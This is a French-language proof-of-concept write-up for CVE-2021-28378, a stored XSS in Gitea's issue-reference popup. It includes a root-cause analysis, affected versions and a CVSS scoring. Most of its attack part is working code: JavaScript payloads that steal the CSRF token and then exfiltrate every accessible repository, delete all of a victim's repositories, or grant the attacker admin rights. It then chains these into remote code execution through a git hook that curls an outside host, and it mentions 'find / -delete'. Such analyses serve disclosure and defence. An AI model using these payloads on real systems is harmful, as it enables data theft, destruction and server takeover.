
Preuve de concept détaillée et analyse de CVE-2021-28378, une vulnérabilité XSS stockée dans Gitea permettant l'injection de code arbitraire, l'élévation de privilèges et l'exécution de code à distance via les hooks git.
Détails sur cette CVE ici.
Cette CVE cible un manque d'échappement de chaînes côté client pour du contenu récupéré depuis le serveur. Elle permet à un attaquant d'injecter facilement du code arbitraire en créant un commentaire sur un ticket ou une pull request. Cela a été introduit dans le commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5, à la fin de janvier 2020, mais en raison d'un squash, on ne peut pas savoir exactement qui a fait cela pour enquêter sur des bugs similaires introduits.
Tout d'abord, comprenons d'où vient cette vulnérabilité. Pour cela, regardons le commit qui corrige cette CVE.
Avant :
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
On voit qu'il n'y a pas d'échappement HTML sur label.name, , et , qui sont des chaînes qu'un utilisateur peut manipuler, et donc injecter du code arbitraire.
Notez que ne peut pas vraiment être manipulé pour injecter du code car il doit suivre trop de règles () que nous ne pouvons pas contourner avec cette CVE.
C'est exactement ce que la PR corrige en les passant dans .
issue.repository.full_nameissue.titlebodyissue.repository.full_name[\w._-]+htmlEscapeAprès :
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
Jetons un coup d'œil rapide au fichier web_src/js/features/contextpopup.js pour comprendre comment déclencher la CVE.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
Ce que nous voyons là, c'est que pour chaque nœud avec la classe ref-issue, nous ajoutons une popup vulnérable.
Maintenant, trouvons où un ref-issue est envoyé à l'utilisateur : faisons un grep (et gardons seulement les résultats intéressants, donc pas les fichiers de test ou similaires) !
Le numéro de commit suivant correspond au tag 1.12.4, la version par défaut du fichier officiel docker-compose.yml, qui est affectée par cette CVE.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
Nous savons maintenant qu'il n'y a pas de contenu statique avec la classe ref-issue, mais qu'il est généré dynamiquement.
La dernière ligne n'est pas intéressante car c'est juste une règle de politique de sanitizer. Les autres sont intéressantes, nous verrons pourquoi.
Plongeons dans modules/markup/html.go.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
Nous devons aussi comprendre ce que fait getIssueFullPattern.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
Résumons pour comprendre le travail effectué ici.
Dans fullIssuePatternProcessor, nous devons d'abord être sûrs que ctx.metas n'est pas nil (ce que nous supposons être vrai car il est construit par des fonctions/méthodes de niveau supérieur dans la pile d'appels).
Ensuite, nous vérifions si les données du nœud correspondent à un chemin comme http://mygitea.com/gituser/myrepo/issues/1. Si c'est le cas, nous le remplaçons par un lien.
Si le lien concerne le même utilisateur et le même dépôt, on le remplace par le motif #<id_issue>, sinon par <utilisateur>/<dépôt>#<id_issue>.
Dans ces deux cas, une classe ref-issue est ajoutée pour générer la popup.
Les autres résultats du grep font à peu près la même chose.
Maintenant que nous avons le contexte, qui consiste à remplacer un lien comme http://mygitea.com/gituser/myrepo/issues/1 par un lien plus court, nous pouvons déduire où ce travail est effectué : dans les tickets et les PR, où vous pouvez ajouter un label et/ou poster un commentaire.
Pour cela, supposons que vous ayez un dépôt avec des droits d'écriture.
Allez dans votre dépôt, et créez un nouveau label avec un nom contenant du code arbitraire (comme <script>alert('label.name')</script>).
Allez dans les tickets de votre dépôt, créez un nouveau ticket avec du code arbitraire dans le titre et le corps, et ajoutez-lui le label précédent.
Créez un nouveau ticket sur n'importe quel dépôt, et ajoutez dans son corps un lien vers votre ticket injecté, comme http://mygitea.com/gituser/myrepo/issues/1.
Il sera remplacé par le lien que nous avons vu précédemment, et quand quelqu'un passera sa souris sur le lien, le code arbitraire sera exécuté : une popup s'affiche contenant label.name.
La CVE-2021-28378 est prouvée capable de permettre l'injection de code arbitraire. Imaginons ce qu'un attaquant pourrait faire.
Sur Gitea, vous avez un jeton CSRF qui atteste de votre identité lorsque vous remplissez des formulaires et/ou appelez l'API, empêchant des problèmes de sécurité comme l'intégration d'une iframe Gitea pour voler vos accès. Le jeton CSRF est stocké dans vos cookies (_csrf), mais aussi dans pratiquement toutes les pages web (sauf quelques-unes comme /api/v1/swagger) qu'un utilisateur visite sous certains champs... Et donc sur les pages des tickets/PR. Le champ le plus intéressant qui le contient se trouve dans la partie de l'en-tête commune des pages HTML, toujours avec le même XPath : /html/head/meta[9].
Avec ces données, nous pouvons désormais envoyer des actions authentifiées de la part de tout utilisateur affecté par notre payload, en récupérant simplement le jeton CSRF en JS avec ce qui suit : (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
Maintenant, il est temps d'utiliser votre créativité pour construire diverses attaques. Notez que vous serez limité dans vos actions, mais pas trop non plus :
label.name et issue.title doivent être courts, donc peu de payloads conviendront. Néanmoins, vous pouvez injecter un script avec un attribut src qui référencera n'importe quel script de votre choix ;body n'a pas de limite de longueur, mais l'aperçu de la popup limite la prévisualisation des données. Votre payload devra être au début si vous voulez qu'il soit déclenché. Néanmoins, vous pouvez faire comme spécifié précédemment avec un script et un attribut src.Regardons quelques exemples que vous pouvez construire.
Imaginez le scénario où un attaquant veut obtenir tous les dépôts auxquels vous avez accès. Cela prouve que l'attaque peut briser toute votre confidentialité. Cette attaque se réalise en 3 étapes :
Écrivons du code JS pour faire cela :
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un passera sa souris sur le lien, toutes ses données de dépôts seront volées par l'attaquant !
Imaginez le scénario où un attaquant veut supprimer tous les dépôts auxquels vous avez accès. Cela prouve que l'attaque peut briser toute votre intégrité. Cette attaque se réalise en 3 étapes :
Écrivons du code JS pour faire cela :
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un passera sa souris sur la référence, tous les dépôts auxquels il a accès seront supprimés !
Imaginez le scénario où un attaquant veut obtenir les droits d'administration. Cela prouve qu'une escalade de privilèges est possible. Cette attaque se réalise en 2 étapes :
Écrivons du code JS pour faire cela :
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
Notez que la valeur de login_type peut changer selon votre version de Gitea et la façon dont votre instance gère la connexion.
Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un avec suffisamment de droits passe sa souris sur la référence, l'attaquant obtient les droits d'administration ! Il peut aussi assigner le ticket à un administrateur, ou créer le ticket sur un dépôt qu'un administrateur surveille (il recevra donc une notification) pour augmenter ses chances.
La partie la plus « amusante » avec Gitea est que les considérations de sécurité ne faisaient pas partie du processus, en implémentant des git hooks. C'est probablement l'une des pires idées que vous puissiez implémenter.
Une fois que vous avez les droits d'administration, vous pouvez vous accorder le privilège de gérer les git hooks (ce qui est réalisé avec la payload précédente). Procédez comme le fait le module Metasploit Gitea Git Hooks Remote Code Execution :
post-receive ;Pour être sûr que ce RCE est valide, mettons ce qui suit, avec un id valide.
#!/bin/bash
curl https://requestbin.net/r/<id>
Dans le panneau d'inspection RequestBin, après avoir soumis un fichier qui déclenche le git hook post-receive, nous voyons qu'une requête a été effectuée avec un User-Agent: curl/<version> ce qui prouve qu'il s'agit d'un RCE valide.
Notez que cette fonctionnalité implique que pour chaque XSS qui peut être déclenchée par un administrateur, tant qu'il y aura la valeur _csrf intégrée dans pratiquement toutes les pages web, vous pouvez obtenir un RCE sur Gitea.
Effectuez vos mises à jour selon les versions affectées par la CVE (référez-vous au rapport officiel). Au moment de la rédaction : 1.12.0 à 1.13.4 (exclue).
Voici une liste des versions affectées et de leur statut de test. Notez que pour les versions 1.13.X, vous devrez ajouter DISABLE_GIT_HOOKS = false dans le fichier app.ini sous la section [security], qui pourrait se trouver à data/gitea/conf/app.ini, selon l'emplacement de votre dossier de données (pour le fichier docker-compose.yml documenté sur DockerHub, il sera dans le même dossier).
| Version | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: prouvé fonctionnel ; ❓: besoin de tests ; ❌: prouvé non fonctionnel
Ce tableau est destiné à guider le lecteur dans le calcul du score : il s'agit uniquement de discuter du score, et non de le prendre comme un ordre.
| Metrique | Valeur | Explication |
|---|---|---|
| AV | Réseau | Utilise HTTP pour interagir. |
| AC | Faible | Nécessite seulement un ticket (par défaut sur Gitea, il est très facile d'en créer un car c'est activé pour tout le monde) ou une pull request. |
| PR | Faible | Dans la plupart des contextes, il faut un compte pour créer un ticket (par défaut, vous pouvez enregistrer de nouveaux comptes). Tous les comptes peuvent créer un ticket sur un dépôt en lecture seule, sauf si le dépôt a été configuré pour éviter les tickets (ce qui n'est pas le paramètre par défaut et est rarement modifié). |
| UI | Requis | Un utilisateur ou administrateur doit passer sa souris sur le lien infecté pour déclencher une payload. |
| S | Modifié | Avec le RCE, vous avez accès à la machine hôte et donc aux services colocalisés. |
| C | Élevé | Une fois que vous avez les droits d'administration, vous pouvez tout gérer même si cela a été configuré en privé. Vous êtes capable de voler les identifiants de la base de données, de vous y connecter en utilisant le RCE et d'extraire des données. Avec le RCE, vous pouvez lire directement le système de fichiers, où aucun contrôle d'authentification/autorisation n'est effectué par Gitea. |
| I | Élevé | Une fois que vous avez les droits d'administration, vous pouvez modifier les droits, la visibilité, changer le code du dépôt, voire supprimer le dépôt. Avec le RCE, vous êtes libre d'explorer tout et donc d'impacter l'intégrité des utilisateurs, des fichiers... |
| A | Élevé | Étant donné le RCE, vous pouvez simplement supprimer tout le système de fichiers avec un find / -delete, provoquant une perte totale de disponibilité. |
| E | Élevé | Étant donné le script python exploit.py, vous pouvez facilement exploiter la vulnérabilité, d'un simple compte à un reverse shell root. |
| RL | Correctif officiel | Corrigé par le commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, fusionné dans master et donc dans Gitea 1.13.4. |
| RC | Confirmé | Ce rapport confirme et montre de multiples exploits, de l'analyse de l'origine de la XSS à un exemple et un script de RCE. |
Chaîne vectorielle : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| Nom du groupe de métrique | Score | Libellé |
|---|---|---|
| Score de base | 9.0 | Critical |
| Score temporel | 8.6 | High |